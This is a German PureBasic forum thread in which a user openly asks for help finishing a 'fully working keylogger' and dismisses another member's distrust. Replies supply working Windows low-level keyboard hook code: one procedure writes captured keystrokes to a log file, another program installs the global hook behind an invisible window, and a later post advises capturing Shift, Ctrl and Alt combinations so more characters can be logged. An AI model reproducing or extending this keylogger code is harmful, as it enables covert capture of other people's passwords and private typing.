Globaler KeyboardHook zur kompletten Tastaturabfrage

Windowsspezifisches Forum , API ,..
Beiträge, die plattformübergreifend sind, gehören ins 'Allgemein'-Forum.
Benutzeravatar
orderinchaos
Beiträge: 49
Registriert: 20.06.2008 16:19

Beitrag von orderinchaos »

@kiffi

und weshalb nicht ? ich möchte in der lage sein einen richtig funktionierenden keylogger zu schreiben, nicht einen halb-funktionierenden... das versteht sich doch von selbst, oder etwa nicht?

schlussendlich könnt ihr sowieso nur darauf vertrauen, dass ich wort halte... und das mache ich auch, kontrollieren ist nicht möglich und jetzt bin ich so nah am ende, dass ich es gerne noch zu ende bringen möchte !!

wenn ich wirklich jemandem schaden wollte, dass könnte ich mir einen fertigen keylogger runterladen und den verwenden, meinst du nicht auch? :mrgreen:

aber ich verstehe dein misstrauen, kann viel unfug mit einem solchen gemacht werden... aber ich bleibe nach wie vo dabei : ich möchte nur meinen wissenshunger stillen, JEDOCH GANZ !

grüsse
Benutzeravatar
Deluxe0321
Beiträge: 336
Registriert: 19.05.2006 00:31
Kontaktdaten:

Beitrag von Deluxe0321 »

vorschlag (ohne getestet zu haben):

Code: Alles auswählen

Procedure.l myKeyboardHook(nCode, wParam, *p.KBDLLHOOKSTRUCT)
  If nCode = #HC_ACTION
    If wParam = #WM_KEYUP Or wParam = #WM_SYSKEYUP
      #LLKHF_ALTDOWN = $20
     
      If GetAsyncKeyState_(#VK_ESCAPE)
        If MessageRequester("EXIT", "End the KeyboardHook ??",#MB_YESNO) = #IDYES
          UnhookWindowsHookEx_(hook)
          End
        EndIf
      EndIf
     
      If *p\vkCode > 64 And *p\vkCode < 91
        WriteChar2File("---log---.txt",Chr(*p\vkCode))
        Debug Chr(*p\vkCode)
      Else
        Debug Chr(*p\vkCode)
        Debug *p\vkCode
      EndIf 

    EndIf
  EndIf
  ProcedureReturn CallNextHookEx_(hook, nCode, wParam, *p)
EndProcedure
oder halt nur wParam = #WM_KEYDOWN Or wParam = #WM_SYSKEYDOWN verwenden

gruß marvin
Benutzeravatar
orderinchaos
Beiträge: 49
Registriert: 20.06.2008 16:19

Beitrag von orderinchaos »

@marvin

marvin, du bist mein retter !! :mrgreen:

das funktioniert einwandfrei..... find ich echt toll, nun bin ich dem ende nahe.... vielen vielen dank für deine hilfe!!

:allright: :allright: :mrgreen: :mrgreen:
Kaeru Gaman
Beiträge: 17389
Registriert: 10.11.2004 03:22

Beitrag von Kaeru Gaman »

orderinchaos hat geschrieben:... nun bin ich dem ende nahe....
Bild
Der Narr denkt er sei ein weiser Mann.
Der Weise weiß, dass er ein Narr ist.
Benutzeravatar
orderinchaos
Beiträge: 49
Registriert: 20.06.2008 16:19

Beitrag von orderinchaos »

hehehehe echt geiles pic und wie passend :mrgreen: :mrgreen: :allright:
Oliver1994
Beiträge: 321
Registriert: 15.06.2008 21:52

Beitrag von Oliver1994 »

Hab mal kurz nen Programm geschrieben was das Scribt für alle 26 Buchstaben macht:

Code: Alles auswählen

Global hWindow,hook

Structure KBDLLHOOKSTRUCT
  vkCode.l
  scanCode.l
  flags.l
  time.l
  dwExtraInfo.l
EndStructure

Procedure.l myKeyboardHook(nCode, wParam, *p.KBDLLHOOKSTRUCT)
  If nCode = #HC_ACTION
    If wParam = #WM_KEYDOWN Or wParam = #WM_SYSKEYDOWN Or wParam = #WM_KEYUP Or wParam = #WM_SYSKEYUP
      #LLKHF_ALTDOWN = $20
      Select *p\vkCode
               
        Case #VK_ESCAPE
        Exit = 1

        Case #VK_A
        Debug "A"

        Case #VK_B
        Debug "B"

        Case #VK_C
        Debug "C"

        Case #VK_D
        Debug "D"

        Case #VK_E
        Debug "E"

        Case #VK_F
        Debug "F"

        Case #VK_G
        Debug "G"

        Case #VK_H
        Debug "H"

        Case #VK_I
        Debug "I"

        Case #VK_J
        Debug "J"

        Case #VK_K
        Debug "K"

        Case #VK_L
        Debug "L"

        Case #VK_M
        Debug "M"

        Case #VK_N
        Debug "N"

        Case #VK_O
        Debug "O"

        Case #VK_P
        Debug "P"

        Case #VK_Q
        Debug "Q"

        Case #VK_R
        Debug "R"

        Case #VK_S
        Debug "S"

        Case #VK_T
        Debug "T"

        Case #VK_U
        Debug "U"

        Case #VK_V
        Debug "V"

        Case #VK_W
        Debug "W"

        Case #VK_X
        Debug "X"

        Case #VK_Y
        Debug "Y"

        Case #VK_Z
        Debug "Z"

          
         
      EndSelect
    EndIf
  EndIf
  ProcedureReturn CallNextHookEx_(hook, nCode, wParam, *p)
EndProcedure

Procedure AskForExit()
  If MessageRequester("EXIT", "End the KeyboardHook ??",#MB_YESNO) = #IDYES
    UnhookWindowsHookEx_(hook) : End
  EndIf
EndProcedure

#WH_KEYBOARD_LL = 13
hook = SetWindowsHookEx_(#WH_KEYBOARD_LL,@myKeyboardHook(),GetModuleHandle_(0),0)
If hook = 0: End: EndIf


hWindow     = OpenWindow(1,0,0,0,0,"k8D h00K",#PB_Window_Invisible)

Repeat
  WaitWindowEvent()
  Delay(5)
Until Exit = 1

AskForExit()
Frage: Gibt es irgendwo eine Tabelle der anderen Zeichen?

Weil:

Code: Alles auswählen

Case #VK_^
^^Funktioniert ja nicht!

Gruß

JENS
Benutzeravatar
TomS
Beiträge: 1508
Registriert: 23.12.2005 12:41
Wohnort: München

Beitrag von TomS »

Mach doch

Code: Alles auswählen

Debug *p\vkCode
und drück die Taste. Dann sollte irgendne Zahl ausgegeben werden. Und dann fügste ein

Code: Alles auswählen

Case zahl
     Debug "^"
Übrigens fehlen noch die Tasten STRG, ALT und v.a. Shift in Kombination mit den Buchstaben und Zahlen. Dann können auch !"§$ etc. geloggt werden.

EDIT: @Oliver1994: Dein Code debuggt jeden Buchstaben 2mal. Außerdem wird das Programm nicht beendet, wenn man Escape drückt.
Zuletzt geändert von TomS am 30.12.2008 21:44, insgesamt 1-mal geändert.
Oliver1994
Beiträge: 321
Registriert: 15.06.2008 21:52

Beitrag von Oliver1994 »

sorry aba ich weiß nciht ganz was du meinst!

Im Grund hab ich es ja verstanden aber wo soll ich jetzt mein Zeichen hinsetzen?

Gruß

JENS
Benutzeravatar
TomS
Beiträge: 1508
Registriert: 23.12.2005 12:41
Wohnort: München

Beitrag von TomS »

Nimm den Code von orderinchaos.
Die ^-Taste hat z.B. den Ascii-Code 220
Kaeru Gaman
Beiträge: 17389
Registriert: 10.11.2004 03:22

Beitrag von Kaeru Gaman »

> Die ^-Taste hat z.B. den Ascii-Code 220

*mööp*

entweder "Taste" oder "ASCII"... ;)


das "^"-Zeichen hat ASCII* 94,
(* American Standard Code for Information Interchange)
also nehme ich an, du meinst die Taste da oben links hat den Virtual-Key-Code 220

... sorry, aber wat mutt dat mutt...
Der Narr denkt er sei ein weiser Mann.
Der Weise weiß, dass er ein Narr ist.
Antworten